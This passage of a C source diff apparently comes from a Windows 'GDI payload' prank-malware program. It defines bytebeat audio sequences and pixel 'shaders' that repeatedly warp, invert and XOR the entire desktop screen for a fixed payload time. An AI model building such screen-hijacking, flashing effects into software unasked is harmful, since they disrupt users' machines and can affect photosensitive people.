+ waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
68
+
69
+ if (pPreAudioOp)
70
+ {
71
+ pPreAudioOp(nSamplesPerSec);
72
+ }
73
+
74
+ pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
75
+
76
+ if (pPostAudioOp)
77
+ {
78
+ pPostAudioOp(nSamplesPerSec);
79
+ }
80
+
81
+ waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
82
+ waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
83
+
84
+ Sleep(nSampleCount * 1000 / nSamplesPerSec);
85
+
86
+ while (!(waveHdr.dwFlags & WHDR_DONE))
87
+ {
88
+ Sleep(1);
89
+ }
90
+
91
+ waveOutReset(hWaveOut);
92
+ waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
93
+ HeapFree(hHeap, 0, psSamples);
94
+ }
95
+
96
+ VOID
97
+ WINAPI
98
+ AudioSequence1(
99
+ _In_ INT nSamplesPerSec,
100
+ _In_ INT nSampleCount,
101
+ _Inout_ PSHORT psSamples
102
+ )
103
+ {
104
+ for (INT t = 0; t < nSampleCount; t++)
105
+ {
106
+ INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
107
+ FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
108
+ psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
109
+ (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
110
+ }
111
+ }
112
+
113
+ VOID
114
+ WINAPI
115
+ AudioSequence2(
116
+ _In_ INT nSamplesPerSec,
117
+ _In_ INT nSampleCount,
118
+ _Inout_ PSHORT psSamples
119
+ )
120
+ {
121
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
122
+
123
+ for (INT t = 0; t < nSampleCount * 2; t++)
124
+ {
125
+ BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
126
+ ((BYTE*)psSamples)[t] = bFreq;
127
+ }
128
+ }
129
+
130
+ VOID
131
+ WINAPI
132
+ AudioSequence3(
133
+ _In_ INT nSamplesPerSec,
134
+ _In_ INT nSampleCount,
135
+ _Inout_ PSHORT psSamples
136
+ )
137
+ {
138
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
139
+
140
+ INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
141
+ for (INT z = 0; z < nCubeRoot; z++)
142
+ {
143
+ for (INT y = 0; y < nCubeRoot; y++)
144
+ {
145
+ for (INT x = 0; x < nCubeRoot; x++)
146
+ {
147
+ INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
148
+ if (nIndex >= nSampleCount)
149
+ continue;
150
+
151
+ INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
152
+ psSamples[nIndex] =
153
+ (SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
154
+ (SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
155
+ (SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
156
+ (nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
157
+ }
158
+ }
159
+ }
160
+ }
161
+
162
+ VOID
163
+ WINAPI
164
+ AudioSequence4(
165
+ _In_ INT nSamplesPerSec,
166
+ _In_ INT nSampleCount,
167
+ _Inout_ PSHORT psSamples
168
+ )
169
+ {
170
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
171
+
172
+ for (INT t = 0; t < nSampleCount; t++)
173
+ {
174
+ INT nFreq = (INT)(FastSine((FLOAT)t / (2.f - t / (nSampleCount / 340))) * 10.f + 50.f);
175
+ psSamples[t] = (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .1f);
176
+ }
177
+ }
178
+
179
+ VOID
180
+ WINAPI
181
+ AudioSequence5(
182
+ _In_ INT nSamplesPerSec,
183
+ _In_ INT nSampleCount,
184
+ _Inout_ PSHORT psSamples
185
+ )
186
+ {
187
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
188
+
189
+ for (INT t = 0; t < nSampleCount; t++)
190
+ {
191
+ SHORT sFreq = (SHORT)(t * (t >> (t >> 1 & t)));
192
+ psSamples[t] = sFreq;
193
+ }
194
+ }
195
+
196
+ VOID
197
+ WINAPI
198
+ AudioSequence6(
199
+ _In_ INT nSamplesPerSec,
200
+ _In_ INT nSampleCount,
201
+ _Inout_ PSHORT psSamples
202
+ )
203
+ {
204
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
205
+
206
+ for (INT t = 0; t < nSampleCount * 2; t++)
207
+ {
208
+ BYTE bFreq = (BYTE)((t & ((t >> 18) + ((t >> 11) & 60))) * 100 + (((t >> 8 & t) - (t >> 3 & t >> 8 | t >> 16)) & 128));
209
+ ((BYTE*)psSamples)[t] = bFreq;
210
+ }
211
+ }
212
+
213
+ VOID
214
+ WINAPI
215
+ AudioSequence7(
216
+ _In_ INT nSamplesPerSec,
217
+ _In_ INT nSampleCount,
218
+ _Inout_ PSHORT psSamples
219
+ )
220
+ {
221
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
222
+
223
+ for (INT t = 0; t < nSampleCount * 2; t++)
224
+ {
225
+ BYTE bFreq = (BYTE)(t & 5 * t | t >> 6 | (t & 32768 - 6 * t / 7 | (t & 65536 - 9 * t & 100 | -9 * (t & 100)) / 11));
226
+ ((BYTE*)psSamples)[t] = bFreq;
227
+ }
228
+ }
229
+
230
+ VOID
231
+ WINAPI
232
+ AudioSequence8(
233
+ _In_ INT nSamplesPerSec,
234
+ _In_ INT nSampleCount,
235
+ _Inout_ PSHORT psSamples
236
+ )
237
+ {
238
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
239
+
240
+ SHORT sRand = (SHORT)Xorshift32();
241
+ for (INT t = 0; t < nSampleCount; t++)
242
+ {
243
+ INT nRand = (nSampleCount - t * 2) / 52;
244
+ if (nRand < 24)
245
+ nRand = 24;
246
+ if (!(Xorshift32() % nRand))
247
+ {
248
+ sRand = (SHORT)Xorshift32();
249
+ }
250
+ psSamples[t] = (SHORT)(SawtoothWave(t, sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f)
251
+ & ~sRand | ((SHORT)Xorshift32() >> 2) +
252
+ (SHORT)(SineWave(Xorshift32() % nSampleCount, nRand ^ sRand, nSampleCount) * (FLOAT)SHRT_MAX * .1f) +
253
+ (SHORT)(TriangleWave(t, 20, nSampleCount) * (FLOAT)SHRT_MAX);
254
+ }
255
+ }
256
+
257
+ VOID
258
+ WINAPI
259
+ AudioSequence9(
260
+ _In_ INT nSamplesPerSec,
261
+ _In_ INT nSampleCount,
262
+ _Inout_ PSHORT psSamples
263
+ )
264
+ {
265
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
266
+
267
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
268
+ for (INT y = 0; y < nSquareRoot; y++)
269
+ {
270
+ for (INT x = 0; x < nSquareRoot; x++)
271
+ {
272
+ INT nIndex = y * nSquareRoot + x;
273
+ if (nIndex >= nSampleCount)
274
+ continue;
275
+
276
+ INT nFreq = (INT)((FLOAT)(y | x) * FastSine((FLOAT)(y * x) / 10.f));
277
+ psSamples[nIndex] =
278
+ (SHORT)(SquareWave(10 & x, (nFreq % 30) + 42, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
279
+ }
280
+ }
281
+ }
282
+
283
+ VOID
284
+ WINAPI
285
+ AudioSequence10(
286
+ _In_ INT nSamplesPerSec,
287
+ _In_ INT nSampleCount,
288
+ _Inout_ PSHORT psSamples
289
+ )
290
+ {
291
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
292
+
293
+ for (INT t = 0; t < nSampleCount * 2; t++)
294
+ {
295
+ FLOAT w = powf(1.f, (FLOAT)(t >> 1 & t >> 20));
296
+ BYTE bFreq = (BYTE)((t << ((t >> 1 | t >> 1) ^ (t >> 13)) | (t >> 8 & t >> 1) * t >> 4) + ((t * (t >> 7 | t >> 10)) >> (t >> 18 & t)) + (t * t) / ((t ^ t >> 12) + 1) + ((1 / ((BYTE)w + 1) & t) > 1 ? (BYTE)w * t : -(BYTE)w * (t + 1)));
297
+ ((BYTE*)psSamples)[t] = bFreq;
298
+ }
299
+ }
300
+
301
+ VOID
302
+ WINAPI
303
+ AudioSequence11(
304
+ _In_ INT nSamplesPerSec,
305
+ _In_ INT nSampleCount,
306
+ _Inout_ PSHORT psSamples
307
+ )
308
+ {
309
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
310
+
311
+ for (INT t = 0; t < nSampleCount * 2; t++)
312
+ {
313
+ BYTE bFreq = (BYTE)((t * ((t >> 28 & t >> 13) >> (t >> 10 & t))) + ((t * (t >> 4 & t >> 3)) >> (t >> 20 & t)));
314
+ ((BYTE*)psSamples)[t] = bFreq;
315
+ }
316
+ }
317
+
318
+ VOID
319
+ WINAPI
320
+ AudioSequence12(
321
+ _In_ INT nSamplesPerSec,
322
+ _In_ INT nSampleCount,
323
+ _Inout_ PSHORT psSamples
324
+ )
325
+ {
326
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
327
+
328
+ for (INT t = 0; t < nSampleCount; t++)
329
+ {
330
+ psSamples[t] = (SHORT)(TriangleWave(__rdtsc() % 8, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) |
331
+ (SHORT)(SquareWave(__rdtsc() % 8, 1000, nSampleCount) * (FLOAT)SHRT_MAX * .3f) + (SHORT)~t + ((SHORT)t >> 2);
332
+ }
333
+ }
334
+
335
+ VOID
336
+ WINAPI
337
+ AudioSequence13(
338
+ _In_ INT nSamplesPerSec,
339
+ _In_ INT nSampleCount,
340
+ _Inout_ PSHORT psSamples
341
+ )
342
+ {
343
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
344
+
345
+ for (INT t = 0; t < nSampleCount; t++)
346
+ {
347
+ psSamples[t] = (SHORT)(SawtoothWave(__rdtsc() % 1500, 1500, nSampleCount) * (FLOAT)SHRT_MAX * .3f) ^
348
+ ((SHORT)(SawtoothWave(t % 10, t % 1000, nSampleCount) * (FLOAT)SHRT_MAX * .1f) >> 8);
349
+ }
350
+ }
351
+
352
+ VOID
353
+ WINAPI
354
+ AudioSequence14(
355
+ _In_ INT nSamplesPerSec,
356
+ _In_ INT nSampleCount,
357
+ _Inout_ PSHORT psSamples
358
+ )
359
+ {
360
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
361
+
362
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
363
+ for (INT y = 0; y < nSquareRoot; y++)
364
+ {
365
+ for (INT x = 0; x < nSquareRoot; x++)
366
+ {
367
+ INT nIndex = y * nSquareRoot + x;
368
+ if (nIndex >= nSampleCount)
369
+ continue;
370
+
371
+ INT nFreq = (INT)((FLOAT)(y | x) * FastCosine((FLOAT)(y & x) / 10.f));
372
+ psSamples[nIndex] = (SHORT)(SineWave(y + x, (nFreq % 100) + 1000, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
373
+ }
374
+ }
375
+ }
376
+
377
+ VOID
378
+ WINAPI
379
+ AudioSequence15(
380
+ _In_ INT nSamplesPerSec,
381
+ _In_ INT nSampleCount,
382
+ _Inout_ PSHORT psSamples
383
+ )
384
+ {
385
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
386
+
387
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
388
+ for (INT y = 0; y < nSquareRoot; y++)
389
+ {
390
+ for (INT x = 0; x < nSquareRoot; x++)
391
+ {
392
+ INT nIndex = y * nSquareRoot + x;
393
+ if (nIndex >= nSampleCount)
394
+ continue;
395
+
396
+ INT nFreq = (INT)((FLOAT)(y - x) * FastCosine((FLOAT)(y * x) / 10.f));
397
+ psSamples[nIndex] = (SHORT)(SineWave(y % (x + 1), (nFreq % 100) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
398
+ }
399
+ }
400
+ }
401
+
402
+ VOID
403
+ WINAPI
404
+ AudioSequence16(
405
+ _In_ INT nSamplesPerSec,
406
+ _In_ INT nSampleCount,
407
+ _Inout_ PSHORT psSamples
408
+ )
409
+ {
410
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
411
+
412
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
413
+ for (INT y = 0; y < nSquareRoot; y++)
414
+ {
415
+ for (INT x = 0; x < nSquareRoot; x++)
416
+ {
417
+ INT nIndex = y * nSquareRoot + x;
418
+ if (nIndex >= nSampleCount)
419
+ continue;
420
+
421
+ INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
422
+ psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 100) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .3f);
423
+ }
424
+ }
425
+ }
426
+
427
+ VOID
428
+ WINAPI
429
+ AudioSequence17(
430
+ _In_ INT nSamplesPerSec,
431
+ _In_ INT nSampleCount,
432
+ _Inout_ PSHORT psSamples
433
+ )
434
+ {
435
+ for (INT t = 0; t < nSampleCount; t++)
436
+ {
437
+ INT nFreq = (INT)(FastSine((FLOAT)t / 20.f) * 100.f + 50.f);
438
+ FLOAT fSine = FastSine((FLOAT)t / 13.f) * (FLOAT)nSamplesPerSec;
439
+ psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 9.f + fSine) * (FLOAT)SHRT_MAX * .50f) +
440
+ (SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .10f);
441
+ }
442
+ }
443
+
444
+
445
+ VOID
446
+ WINAPI
447
+ AudioSequence18(
448
+ _In_ INT nSamplesPerSec,
449
+ _In_ INT nSampleCount,
450
+ _Inout_ PSHORT psSamples
451
+ )
452
+ {
453
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
454
+
455
+ INT nSquareRoot = (INT)sqrtf((FLOAT)nSampleCount) + 1;
456
+ for (INT y = 0; y < nSquareRoot; y++)
457
+ {
458
+ for (INT x = 0; x < nSquareRoot; x++)
459
+ {
460
+ INT nIndex = y * nSquareRoot + x;
461
+ if (nIndex >= nSampleCount)
462
+ continue;
463
+
464
+ INT nFreq = (INT)((FLOAT)(y ^ x) * exp(cosh(atanf((FLOAT)(y | x)) / 10.f)) * 2.f);
465
+ psSamples[nIndex] = (SHORT)(SineWave(y - (x % (y + 1)), (nFreq % 10) + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .6f);
466
+ }
467
+ }
468
+ }
469
+
470
+ VOID
471
+ WINAPI
472
+ FinalAudioSequence(
473
+ _In_ INT nSamplesPerSec,
474
+ _In_ INT nSampleCount,
475
+ _Inout_ PSHORT psSamples
476
+ )
477
+ {
478
+ UNREFERENCED_PARAMETER(nSamplesPerSec);
479
+
480
+ INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
481
+ for (INT z = 0; z < nCubeRoot; z++)
482
+ {
483
+ for (INT y = 0; y < nCubeRoot; y++)
484
+ {
485
+ for (INT x = 0; x < nCubeRoot; x++)
486
+ {
487
+ INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
488
+ if (nIndex >= nSampleCount)
489
+ continue;
490
+
491
+ INT nFreq = (INT)((FLOAT)(y & x) * sinf((FLOAT)z / (FLOAT)nCubeRoot + (FLOAT)x + (FLOAT)nCounter * (FLOAT)y) * 2.f);
492
+ psSamples[nIndex] = (SHORT)(SquareWave(nIndex, nFreq, nSamplesPerSec) * (FLOAT)(SHRT_MAX) * .3f);
493
+ }
494
+ }
495
+ }
496
+ }
497
+
498
+ VOID
499
+ WINAPI
500
+ GdiShaderThread(
501
+ _In_ PGDISHADER_PARAMS pGdiShaderParams
502
+ )
503
+ {
504
+ if (pGdiShaderParams->pGdiShader == GdiShader3)
505
+ {
506
+ nShaderThreeSeed = Xorshift32();
507
+ }
508
+
509
+ ExecuteGdiShader(hdcDesktop, rcScrBounds, PAYLOAD_TIME, 5, pGdiShaderParams->pGdiShader,
510
+ pGdiShaderParams->pPreGdiShader, pGdiShaderParams->pPostGdiShader);
511
+ }
512
+
513
+ VOID
514
+ WINAPI
515
+ ExecuteGdiShader(
516
+ _In_ HDC hdcDst,
517
+ _In_ RECT rcBounds,
518
+ _In_ INT nTime,
519
+ _In_ INT nDelay,
520
+ _In_ GDI_SHADER pGdiShader,
521
+ _In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
522
+ _In_opt_ GDI_SHADER_OPERATION pPostGdiShader
523
+ )
524
+ {
525
+ BITMAPINFO bmi = { 0 };
526
+ PRGBQUAD prgbSrc, prgbDst;
527
+ HANDLE hHeap;
528
+ HDC hdcTemp;
529
+ HBITMAP hbmTemp;
530
+ SIZE_T nSize;
531
+ INT nWidth;
532
+ INT nHeight;
533
+
534
+ nWidth = rcBounds.right - rcBounds.left;
535
+ nHeight = rcBounds.bottom - rcBounds.top;
536
+ nSize = nWidth * nHeight * sizeof(COLORREF);
537
+
538
+ bmi.bmiHeader.biSize = sizeof(BITMAPINFO);
539
+ bmi.bmiHeader.biBitCount = 32;
540
+ bmi.bmiHeader.biPlanes = 1;
541
+ bmi.bmiHeader.biWidth = nWidth;
542
+ bmi.bmiHeader.biHeight = nHeight;
543
+
544
+ hHeap = GetProcessHeap();
545
+ prgbSrc = (PRGBQUAD)HeapAlloc(hHeap, 0, nSize);
546
+
547
+ hdcTemp = CreateCompatibleDC(hdcDst);
548
+ hbmTemp = CreateDIBSection(hdcDst, &bmi, 0, &prgbDst, NULL, 0);
549
+ SelectObject(hdcTemp, hbmTemp);
550
+
551
+ for (INT i = 0, j = nCounter; (j + nTime) > nCounter; i++)
552
+ {
553
+ if (pPreGdiShader == NULL)
554
+ {
555
+ BitBlt(hdcTemp, 0, 0, nWidth, nHeight, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
556
+ }
557
+ else
558
+ {
559
+ pPreGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
560
+ }
561
+
562
+ RtlCopyMemory(prgbSrc, prgbDst, nSize);
563
+
564
+ pGdiShader(i, nWidth, nHeight, hdcDst, hbmTemp, prgbSrc, prgbDst);
565
+
566
+ if (pPostGdiShader == NULL)
567
+ {
568
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, nWidth, nHeight, hdcTemp, 0, 0, SRCCOPY);
569
+ }
570
+ else
571
+ {
572
+ pPostGdiShader(i, nWidth, nHeight, rcBounds, hdcDst, hdcTemp);
573
+ }
574
+
575
+ if (nDelay)
576
+ {
577
+ Sleep(nDelay);
578
+ }
579
+ }
580
+
581
+ HeapFree(hHeap, 0, prgbSrc);
582
+ DeleteObject(hbmTemp);
583
+ DeleteDC(hdcTemp);
584
+ }
585
+
586
+ VOID
587
+ WINAPI
588
+ GdiShader1(
589
+ _In_ INT t,
590
+ _In_ INT w,
591
+ _In_ INT h,
592
+ _In_ HDC hdcTemp,
593
+ _In_ HBITMAP hbmTemp,
594
+ _In_ PRGBQUAD prgbSrc,
595
+ _Inout_ PRGBQUAD prgbDst
596
+ )
597
+ {
598
+ UNREFERENCED_PARAMETER(hdcTemp);
599
+ UNREFERENCED_PARAMETER(hbmTemp);
600
+
601
+ UINT u;
602
+ UINT v;
603
+ FLOAT div = (FLOAT)t / 1.f;
604
+ FLOAT a = FastSine(div) * 10.f;
605
+ FLOAT b = FastCosine(div) * 5.f;
606
+ RGBQUAD rgbDst;
607
+
608
+ for (INT y = 0; y < h; y++)
609
+ {
610
+ for (INT x = 0; x < w; x++)
611
+ {
612
+ u = x + (INT)a, v = y + (INT)b;
613
+ u %= w;
614
+ v %= h;
615
+
616
+ rgbDst = prgbSrc[v * w + u];
617
+ rgbDst.r += ~prgbSrc[y * w + x].r / 82;
618
+ rgbDst.g += ~prgbSrc[y * w + x].g / 12;
619
+ rgbDst.b += ~prgbSrc[y * w + x].b / 22;
620
+ prgbDst[y * w + x] = rgbDst;
621
+ }
622
+ }
623
+ }
624
+
625
+ VOID
626
+ WINAPI
627
+ PostGdiShader1(
628
+ _In_ INT t,
629
+ _In_ INT w,
630
+ _In_ INT h,
631
+ _In_ RECT rcBounds,
632
+ _In_ HDC hdcDst,
633
+ _In_ HDC hdcTemp
634
+ )
635
+ {
636
+ if (!(t % 256))
637
+ {
638
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
639
+ }
640
+ else
641
+ {
642
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
643
+ }
644
+ }
645
+
646
+ VOID
647
+ WINAPI
648
+ GdiShader2(
649
+ _In_ INT t,
650
+ _In_ INT w,
651
+ _In_ INT h,
652
+ _In_ HDC hdcTemp,
653
+ _In_ HBITMAP hbmTemp,
654
+ _In_ PRGBQUAD prgbSrc,
655
+ _Inout_ PRGBQUAD prgbDst
656
+ )
657
+ {
658
+ UNREFERENCED_PARAMETER(hdcTemp);
659
+ UNREFERENCED_PARAMETER(hbmTemp);
660
+
661
+ UINT u;
662
+ UINT v;
663
+ RGBQUAD rgbDst;
664
+
665
+ for (INT y = 0; y < h; y++)
666
+ {
667
+ FLOAT _y = (FLOAT)y / 40.f;
668
+
669
+ for (INT x = 0; x < w; x++)
670
+ {
671
+ FLOAT div = (FLOAT)t / 2.f;
672
+ FLOAT a = FastSine(div + _y) * 50.f;
673
+ FLOAT b = FastCosine(div + (FLOAT)x / 10.f) * 80.f;
674
+
675
+ u = x + (INT)a, v = y + (INT)b;
676
+ u %= w;
677
+ v %= h;
678
+
679
+ rgbDst = prgbSrc[y * w + u];
680
+
681
+ DWORD rgb = prgbSrc[v * w + x].rgb / ((0x101010 | (t & y) | ((t & x) << 8) | (t << 26)) + 1);
682
+ if (!rgb)
683
+ {
684
+ rgb = 1;
685
+ }
686
+
687
+ rgbDst.rgb /= rgb;
688
+ if (!rgbDst.rgb)
689
+ {
690
+ rgbDst.rgb = 0xFFFFFF;
691
+ }
692
+
693
+ prgbDst[y * w + x] = rgbDst;
694
+ }
695
+ }
696
+ }
697
+
698
+ VOID
699
+ WINAPI
700
+ PostGdiShader2(
701
+ _In_ INT t,
702
+ _In_ INT w,
703
+ _In_ INT h,
704
+ _In_ RECT rcBounds,
705
+ _In_ HDC hdcDst,
706
+ _In_ HDC hdcTemp
707
+ )
708
+ {
709
+ if (!(t % 16))
710
+ {
711
+ RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
712
+ }
713
+ else
714
+ {
715
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
716
+ }
717
+ }
718
+
719
+ VOID
720
+ WINAPI
721
+ GdiShader3(
722
+ _In_ INT t,
723
+ _In_ INT w,
724
+ _In_ INT h,
725
+ _In_ HDC hdcTemp,
726
+ _In_ HBITMAP hbmTemp,
727
+ _In_ PRGBQUAD prgbSrc,
728
+ _Inout_ PRGBQUAD prgbDst
729
+ )
730
+ {
731
+ UNREFERENCED_PARAMETER(hdcTemp);
732
+ UNREFERENCED_PARAMETER(hbmTemp);
733
+
734
+ UINT u;
735
+ UINT v;
736
+ RGBQUAD rgbDst;
737
+ HSLCOLOR hsl;
738
+ FLOAT _t = (FLOAT)t / 15.f;
739
+
740
+ for (INT y = 0; y < h; y++)
741
+ {
742
+ FLOAT _y = (FLOAT)y / 45.f;
743
+
744
+ for (INT x = 0; x < w; x++)
745
+ {
746
+ FLOAT a = FastCosine(_y + _t) * 36.f;
747
+
748
+ u = x + (INT)a, v = y;
749
+ u %= w;
750
+ v %= h;
751
+
752
+ rgbDst = prgbSrc[v * w + u];
753
+ FLOAT f = 1.f / 2.f;
754
+ FLOAT r = (FLOAT)prgbSrc[y * w + x].r * f + (FLOAT)rgbDst.r * (1.f - f);
755
+ FLOAT g = (FLOAT)prgbSrc[y * w + x].g * f + (FLOAT)rgbDst.g * (1.f - f);
756
+ FLOAT b = (FLOAT)prgbSrc[y * w + x].b * f + (FLOAT)rgbDst.b * (1.f - f);
757
+
758
+ rgbDst.rgb = ((BYTE)b | ((BYTE)g << 8) | ((BYTE)r << 11));
759
+ hsl = RGBToHSL(rgbDst);
760
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 15.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 34.f), 1.0);
761
+ prgbDst[y * w + x] = HSLToRGB(hsl);
762
+ }
763
+ }
764
+ }
765
+
766
+ VOID
767
+ WINAPI
768
+ PostGdiShader3(
769
+ _In_ INT t,
770
+ _In_ INT w,
771
+ _In_ INT h,
772
+ _In_ RECT rcBounds,
773
+ _In_ HDC hdcDst,
774
+ _In_ HDC hdcTemp
775
+ )
776
+ {
777
+ INT x, y;
778
+ HPEN hpenBall;
779
+
780
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
781
+
782
+ t += nShaderThreeSeed;
783
+ x = t * 16;
784
+ y = t * 16;
785
+
786
+ for (INT i = 64; i > 8; i -= 8)
787
+ {
788
+ hpenBall = CreatePen(PS_SOLID, 2, rand() % 0xFFFFFF);
789
+
790
+ SelectObject(hdcDst, hpenBall);
791
+ Reflect2D(&x, &y, w, h);
792
+ Ellipse(hdcDst, x + rcBounds.left - i, y + rcBounds.top - i, x + rcBounds.left + i, y + rcBounds.top + i);
793
+ DeleteObject(hpenBall);
794
+ }
795
+ }
796
+
797
+ VOID
798
+ WINAPI
799
+ GdiShader4(
800
+ _In_ INT t,
801
+ _In_ INT w,
802
+ _In_ INT h,
803
+ _In_ HDC hdcTemp,
804
+ _In_ HBITMAP hbmTemp,
805
+ _In_ PRGBQUAD prgbSrc,
806
+ _Inout_ PRGBQUAD prgbDst
807
+ )
808
+ {
809
+ UNREFERENCED_PARAMETER(hdcTemp);
810
+ UNREFERENCED_PARAMETER(hbmTemp);
811
+
812
+ UINT u;
813
+ UINT v;
814
+ RGBQUAD rgbDst;
815
+ RGBQUAD rgbSrc;
816
+ FLOAT _t = (FLOAT)t / 540.f;
817
+ FLOAT a = (FLOAT)t / 39.f;
818
+ FLOAT b = FastSine(a) * _t;
819
+ FLOAT c = FastCosine(a) * _t;
820
+ FLOAT centerX = (FLOAT)w / 50;
821
+ FLOAT centerY = (FLOAT)h / 100;
822
+
823
+ while (b < 5.f)
824
+ {
825
+ b += PI * 3.f;
826
+ }
827
+
828
+ while (c < 4.f)
829
+ {
830
+ c += PI * 4.f;
831
+ }
832
+
833
+ for (INT y = 0; y < h; y++)
834
+ {
835
+ for (INT x = 0; x < w; x++)
836
+ {
837
+ u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
838
+ v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
839
+
840
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
841
+
842
+ rgbDst = prgbSrc[v * w + u];
843
+ rgbSrc = prgbSrc[y * w + x];
844
+ rgbDst.rgb ^= rgbSrc.rgb;
845
+
846
+ if ((t / 21) % 2)
847
+ {
848
+ rgbDst.rgb = ~rgbDst.rgb;
849
+ }
850
+
851
+ prgbDst[y * w + x] = rgbDst;
852
+ }
853
+ }
854
+ }
855
+
856
+ VOID
857
+ WINAPI
858
+ GdiShader5(
859
+ _In_ INT t,
860
+ _In_ INT w,
861
+ _In_ INT h,
862
+ _In_ HDC hdcTemp,
863
+ _In_ HBITMAP hbmTemp,
864
+ _In_ PRGBQUAD prgbSrc,
865
+ _Inout_ PRGBQUAD prgbDst
866
+ )
867
+ {
868
+ UNREFERENCED_PARAMETER(hdcTemp);
869
+ UNREFERENCED_PARAMETER(hbmTemp);
870
+
871
+ UINT u;
872
+ UINT v;
873
+ RGBQUAD rgbDst;
874
+ RGBQUAD rgbSrc;
875
+
876
+ for (INT y = 0; y < h; y++)
877
+ {
878
+ for (INT x = 0; x < w; x++)
879
+ {
880
+ INT a = 5000;
881
+ INT b = 5000;
882
+
883
+ u = ~((a + t) & y);
884
+ v = ~((b + t) & x);
885
+
886
+ u %= w;
887
+ v %= h;
888
+
889
+ rgbDst = prgbSrc[v * w + u];
890
+ rgbSrc = prgbSrc[y * w + x];
891
+ rgbDst.rgb ^= rgbSrc.rgb;
892
+
893
+ prgbDst[y * w + x] = rgbDst;
894
+ }
895
+ }
896
+ }
897
+
898
+ VOID
899
+ WINAPI
900
+ PostGdiShader4(
901
+ _In_ INT t,
902
+ _In_ INT w,
903
+ _In_ INT h,
904
+ _In_ RECT rcBounds,
905
+ _In_ HDC hdcDst,
906
+ _In_ HDC hdcTemp
907
+ )
908
+ {
909
+ UNREFERENCED_PARAMETER(hdcDst);
910
+ UNREFERENCED_PARAMETER(hdcTemp);
911
+
912
+ BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
913
+
914
+ if (!(t % 8))
915
+ {
916
